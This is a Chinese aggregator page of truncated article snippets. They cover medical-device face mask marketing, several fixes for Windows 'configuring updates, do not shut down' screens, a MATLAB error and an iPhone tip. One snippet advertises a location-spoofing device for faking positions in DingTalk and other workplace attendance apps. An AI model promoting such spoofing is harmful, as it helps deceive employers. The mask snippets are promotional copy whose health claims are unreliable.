    原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...

    2024/4/30 9:42:22
  23. 广州械字号面膜生产厂家OEM/ODM4项须知!

    原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...

    2024/5/2 9:07:46
  24. 械字号医用眼膜缓解用眼过度到底有无作用?

    原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...

    2024/4/30 9:42:49
  25. 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...

    解析如下&#xff1a;1、长按电脑电源键直至关机&#xff0c;然后再按一次电源健重启电脑&#xff0c;按F8健进入安全模式2、安全模式下进入Windows系统桌面后&#xff0c;按住“winR”打开运行窗口&#xff0c;输入“services.msc”打开服务设置3、在服务界面&#xff0c;选中…...

    2022/11/19 21:17:18
  26. 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。

    %读入6幅图像&#xff08;每一幅图像的大小是564*564&#xff09; f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...

    2022/11/19 21:17:16
  27. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...

    win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面&#xff0c;在等待界面中我们需要等待操作结束才能关机&#xff0c;虽然这比较麻烦&#xff0c;但是对系统进行配置和升级…...

    2022/11/19 21:17:15
  28. 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...

    有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows&#xff0c;请勿关闭计算机”的提示&#xff0c;要过很久才能进入系统&#xff0c;有的用户甚至几个小时也无法进入&#xff0c;下面就教大家这个问题的解决方法。第一种方法&#xff1a;我们首先在左下角的“开始…...

    2022/11/19 21:17:14
  29. win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...

    置信有很多用户都跟小编一样遇到过这样的问题&#xff0c;电脑时发现开机屏幕显现“正在配置Windows Update&#xff0c;请勿关机”(如下图所示)&#xff0c;而且还需求等大约5分钟才干进入系统。这是怎样回事呢&#xff1f;一切都是正常操作的&#xff0c;为什么开时机呈现“正…...

    2022/11/19 21:17:13
  30. 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...

    Win7系统开机启动时总是出现“配置Windows请勿关机”的提示&#xff0c;没过几秒后电脑自动重启&#xff0c;每次开机都这样无法进入系统&#xff0c;此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一&#xff1a;开机按下F8&#xff0c;在出现的Windows高级启动选…...

    2022/11/19 21:17:12
  31. 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...

    有不少windows10系统用户反映说碰到这样一个情况&#xff0c;就是电脑提示正在准备windows请勿关闭计算机&#xff0c;碰到这样的问题该怎么解决呢&#xff0c;现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法&#xff1a;1、2、依次…...

    2022/11/19 21:17:11
  32. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...

    今天和大家分享一下win7系统重装了Win7旗舰版系统后&#xff0c;每次关机的时候桌面上都会显示一个“配置Windows Update的界面&#xff0c;提示请勿关闭计算机”&#xff0c;每次停留好几分钟才能正常关机&#xff0c;导致什么情况引起的呢&#xff1f;出现配置Windows Update…...

    2022/11/19 21:17:10
  33. 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...

    只能是等着&#xff0c;别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚&#xff0c;只能是考虑备份数据后重装系统了。解决来方案一&#xff1a;管理员运行cmd&#xff1a;net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...

    2022/11/19 21:17:09
  34. 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?

    原标题&#xff1a;电脑提示“配置Windows Update请勿关闭计算机”怎么办&#xff1f;win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢&#xff1f;一般的方…...

    2022/11/19 21:17:08
  35. 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...

    关机提示 windows7 正在配置windows 请勿关闭计算机 &#xff0c;然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;关机提示 windows7 正在配…...

    2022/11/19 21:17:05
  36. 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...

    钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...

    2022/11/19 21:17:05
  37. 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...

    前几天班里有位学生电脑(windows 7系统)出问题了&#xff0c;具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面&#xff0c;长时间没反应&#xff0c;无法进入系统。这个问题原来帮其他同学也解决过&#xff0c;网上搜了不少资料&#x…...

    2022/11/19 21:17:04
  38. 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...

    本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法&#xff0c;并在最后教给你1种保护系统安全的好方法&#xff0c;一起来看看&#xff01;电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中&#xff0c;添加了1个新功能在“磁…...

    2022/11/19 21:17:03
  39. 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...

    许多用户在长期不使用电脑的时候&#xff0c;开启电脑发现电脑显示&#xff1a;配置windows更新失败&#xff0c;正在还原更改&#xff0c;请勿关闭计算机。。.这要怎么办呢&#xff1f;下面小编就带着大家一起看看吧&#xff01;如果能够正常进入系统&#xff0c;建议您暂时移…...

    2022/11/19 21:17:02
  40. 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...

    配置windows update失败 还原更改 请勿关闭计算机&#xff0c;电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;配置windows update失败 还原更改 请勿关闭计算机&#x…...

    2022/11/19 21:17:01
  41. 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...

    不知道大家有没有遇到过这样的一个问题&#xff0c;就是我们的win7系统在关机的时候&#xff0c;总是喜欢显示“准备配置windows&#xff0c;请勿关机”这样的一个页面&#xff0c;没有什么大碍&#xff0c;但是如果一直等着的话就要两个小时甚至更久都关不了机&#xff0c;非常…...

    2022/11/19 21:17:00
  42. 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...

    当电脑出现正在准备配置windows请勿关闭计算机时&#xff0c;一般是您正对windows进行升级&#xff0c;但是这个要是长时间没有反应&#xff0c;我们不能再傻等下去了。可能是电脑出了别的问题了&#xff0c;来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...

    2022/11/19 21:16:59
  43. 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...

    我们使用电脑的过程中有时会遇到这种情况&#xff0c;当我们打开电脑之后&#xff0c;发现一直停留在一个界面&#xff1a;“配置Windows Update失败&#xff0c;还原更改请勿关闭计算机”&#xff0c;等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢&#xff0…...

    2022/11/19 21:16:58
  44. 如何在iPhone上关闭“请勿打扰”

    Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...

    2022/11/19 21:16:57